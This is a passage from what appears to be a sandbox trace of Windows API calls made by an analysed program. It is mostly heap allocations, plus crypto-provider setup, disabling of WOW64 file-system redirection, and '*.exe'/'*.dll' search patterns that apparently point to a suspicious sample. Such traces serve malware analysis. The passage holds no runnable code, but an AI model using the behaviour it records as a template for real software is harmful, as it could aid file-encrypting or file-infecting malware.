IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x55c5b0 [0257.505] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5a0) returned 1 [0257.505] NtClose (Handle=0xc4) returned 0x0 [0257.505] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0257.505] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x6c) returned 0x55b860 [0257.505] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5a0 [0257.505] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0257.505] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c480 [0257.505] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c438 [0257.505] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c558 [0257.505] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c510 [0257.505] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x5000) returned 0xe00048 [0257.506] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c4c8 [0257.506] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c4c8) returned 1 [0257.506] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x5c2200) returned 1 [0257.520] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe00048) returned 1 [0257.520] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55b8d8 [0257.520] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55b960 [0257.520] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c4c8 [0257.520] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55b9e8 [0257.520] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55ba70 [0257.520] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c3f0 [0257.520] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55baf8 [0257.520] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c3a8 [0257.520] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x5000) returned 0xe00048 [0257.521] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c360 [0257.521] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c360) returned 1 [0257.521] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0257.529] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe00048) returned 1 [0257.529] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5bcd38, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0257.529] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c360 [0257.529] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0257.529] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c360) returned 1 [0257.529] GetLastError () returned 0x0 [0257.529] LocalFree (hMem=0x5bcd38) returned 0x0 [0257.529] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c360 [0257.529] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x5000) returned 0xe00048 [0257.530] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c318 [0257.530] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c318) returned 1 [0257.530] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0257.532] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe00048) returned 1 [0257.533] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5bcd38, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0257.533] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c318 [0257.533] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0257.533] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c318) returned 1 [0257.533] GetLastError () returned 0x0 [0257.533] LocalFree (hMem=0x5bcd38) returned 0x0 [0257.533] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c318 [0257.533] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x5000) returned 0xe00048 [0257.533] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c2d0 [0257.533] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c2d0) returned 1 [0257.533] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0257.535] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe00048) returned 1 [0257.535] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5bcd38, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c2d0 [0257.535] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0257.535] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c2d0) returned 1 [0257.535] GetLastError () returned 0x0 [0257.535] LocalFree (hMem=0x5bcd38) returned 0x0 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2800) returned 0xe00048 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bb80 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c2d0 [0257.535] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2800) returned 0xe02850 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.535] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.535] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1f8) returned 1 [0257.535] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.535] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2d8) returned 1 [0257.535] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.535] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe02850) returned 1 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2800) returned 0xe02850 [0257.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2c8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d600 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2b8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1b0 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2a8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c168 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1f8) returned 1 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2d8) returned 1 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2c8) returned 1 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2c8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1b0) returned 1 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2b8) returned 1 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c168) returned 1 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2a8) returned 1 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d600) returned 1 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d600 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2a8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c168 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2b8 [0257.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1b0 [0257.536] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2c8) returned 1 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1f8) returned 1 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2d8) returned 1 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2c8 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c168) returned 1 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2a8) returned 1 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1b0) returned 1 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2b8) returned 1 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d600) returned 1 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe02850) returned 1 [0257.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55d9d0 [0257.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c1f8, cbMultiByte=5, lpWideCharStr=0x55d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55da58 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d9d0) returned 1 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d600 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2b8 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55d9d0 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55da58) returned 1 [0257.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55da58 [0257.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c288, cbMultiByte=5, lpWideCharStr=0x55da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0257.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dae0 [0257.537] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55da58) returned 1 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2a8 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55da58 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dae0) returned 1 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1f8) returned 1 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2d8) returned 1 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2c8) returned 1 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2800) returned 0xe02850 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2c8 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1b0 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d298 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c168 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d288 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x20) returned 0x55bc08 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d278 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c240 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d268 [0257.538] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.538] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d258 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x20) returned 0xe05058 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d248 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5e8 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d238 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c630 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d228 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c678 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d218 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c6c0 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d208 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c708 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1e8 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c750 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1f8 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c798 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1f8) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2c8) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1b0) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2d8) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c168) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d298) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d288) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c240) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d278) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d268) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d258) returned 1 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bc08) returned 1 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.539] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d258 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d268 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d278 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c240 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d288 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x20) returned 0x55bc08 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d298 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c168 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1b0 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2c8 [0257.540] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5e8) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d248) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c630) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d238) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c678) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d228) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c6c0) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d218) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c708) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d208) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c750) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d1e8) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c798) returned 1 [0257.540] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d1f8) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe05058) returned 1 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x20) returned 0xe05058 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1f8 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c798 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1e8 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c750 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d208 [0257.541] RtlAllocateHeap 